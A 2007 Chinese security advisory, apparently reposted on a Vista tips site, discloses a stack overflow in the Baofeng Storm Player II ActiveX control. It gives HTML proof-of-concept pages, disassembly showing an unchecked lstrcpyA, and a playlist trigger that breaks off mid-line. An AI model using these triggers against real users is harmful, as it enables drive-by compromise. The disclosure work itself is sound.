Vista探索者预警:暴风影音II 0day漏洞曝光及解决方案
Vista探索者(www.vistause.net)预警:暴风影音II 0day漏洞曝光及解决方案
2007年9月9日监测到一个高度危险暴风影音II(国内一款影音播放软件)漏洞被曝光,该漏洞发生在暴风影音IIDe一个activex控件上,当安装了暴风影音IIDe用户在浏览黑客 精心构造De包含恶意代码De网页后,会下载任意程序在用户系统上以当前用户上下文权限运行.同时在国内发现已有漏洞利用生成器开始流传,并在最近De挂马网站监测中发现有网站利用暴风影音II漏洞进行挂马.
影响版本:暴风影音II
漏洞De原因如下:
暴风影音包含一个sparser.dll文件,此dllDe一个导出函数在处理非法超长URL时发生栈溢出.黑客可以构造一个网页调用activex控 件中DerawParse函数,通过rawParse调用sparser.dll中存在问题De导出函数,从而导致溢出,执行任意代码.
URL属性、rawParse方法和advancedOpen方法溢出Depoc分别如下:
[Vuln 1]
%26lt;body%26gt;
%26lt;object classid=%26quot;clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB%26quot; id=%26quot;storm%26quot;%26gt;%26lt;/object%26gt;
%26lt;script%26gt;
var s = %26quot;\x0c%26quot;;
while (s.length %26lt; 300) {
s += %26quot;\x0c%26quot;;
}
storm.URL = s;
%26lt;/script%26gt;
%26lt;/body%26gt;
%26lt;/html%26gt;
[Vuln 2]
%26lt;html%26gt;
%26lt;body%26gt;
%26lt;object classid=%26quot;clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB%26quot; id=%26quot;storm%26quot;%26gt;%26lt;/object%26gt;
%26lt;script%26gt;
var s = %26quot;\x0c%26quot;;
while (s.length %26lt; 300) {
s += %26quot;\x0c%26quot;;
}
storm.rawParse(s);
%26lt;/script%26gt;
%26lt;/body%26gt;
%26lt;/html%26gt;
[Vuln 3]
%26lt;html%26gt;%26lt;body%26gt;
%26lt;object classid=%26quot;clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB%26quot; id=%26quot;storm%26quot;%26gt;%26lt;/object%26gt;
%26lt;script%26gt;
var s = %26quot;\x0c%26quot;;
while (s.length %26lt; 1050) {
s += %26quot;\x0c%26quot;;
}
storm.advancedOpen(s, %26quot;%26quot;);
%26lt;/script%26gt;
%26lt;/body%26gt;
%26lt;/html%26gt;
URL属性、rawParse方法和advancedOpen方法De溢出本质是同一个问题,他们都调用了sparser.dll导出De一个函数.这个函数从代码来看是处理路径和URLDe,URL属性和rawParse方法传入De参数也都是URL.
.text:10004F40 ; int __stdcall sub_10004F40(LPCSTR lpMultiByteStr,int,int).text:10004F40 sub_10004F40 proc near ; DATA XREF: .rdata:1000F2D0o
.text:10004F40
.text:10004F40 var_14 = dword ptr -14h
.text:10004F40 var_10 = dword ptr -10h
.text:10004F40 var_C = dword ptr -0Ch
.text:10004F40 var_4 = dword ptr -4
.text:10004F40 lpMultiByteStr = dword ptr 4
.text:10004F40 arg_8 = dword ptr 0Ch
.text:10004F40
.text:10004F40 mov eax, large fs:0
.text:10004F46 push 0FFFFFFFFh
.text:10004F48 push offset loc_1000EB21
.text:10004F4D push eax
... ... ... ...
.text:1000506D call dword ptr [ecx+4]
.text:10005070 mov ecx, esi
.text:10005072 mov edx, [esp+24h+lpMultiByteStr]
.text:10005076 push edx ; lpMultiByteStr
.text:10005077 call sub_10002450
该函数第二、三个参数都是指向用户输入串拷贝De指针,最后一行进入另一个函数:
.text:10002450 ; int __stdcall sub_10002450(LPCSTR lpMultiByteStr).text:10002450 sub_10002450 proc near ; CODE XREF: sub_10004F40+137p
.text:10002450
.text:10002450 var_12C = dword ptr -12Ch
.text:10002450 pszPath = byte ptr -120h
.text:10002450 var_1C = dword ptr -1Ch
.text:10002450 var_4 = dword ptr -4
.text:10002450 lpMultiByteStr = dword ptr 8
.text:10002450
.text:10002450 push ebp
.text:10002451 mov ebp, esp
.text: 10002453 sub esp, 120h ; 注意这里分配了120h即288字节大小Debuffer
... ... ... ...
.text:100024ED mov edi, [ebp+lpMultiByteStr]
.text:100024F0 push edi ; pszPath
.text: 100024F1 call ds:PathIsURLA ; 这里判断是否为合法DeURL
.text:100024F7 test eax, eax
.text: 100024F9 jz loc_10002582 ; 如果不是则跳转
... ... ... ...
.text:10002582 lea eax, [ebp+pszPath]
.text: 10002588 push edi ; 用户输入De串
.text:10002589 push eax
.text: 1000258A call ds:lstrcpyA ; 串拷贝造成栈溢出
通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出.这个函数是个导出函数,暴风影音其他地方如果调用这个函数De话,都可能有问题.于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题.我们构造一个播放列表文件就可以触发:
[Vuln 4]
%26lt;?xml version=%26quot;1.0%26quot; encoding=%26quot;GB2312%26quot;?%26gt;
%26lt;PlayList%26gt;
%26lt;item name=%26quot;ph4nt0m%26quot; time=%26quot;%26quot; path=%26quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
上一篇:
【原创】一招搞定Vista下面软件不兼容问题
下一篇:
Windows Vista支持针对Windows 2000的升级吗?





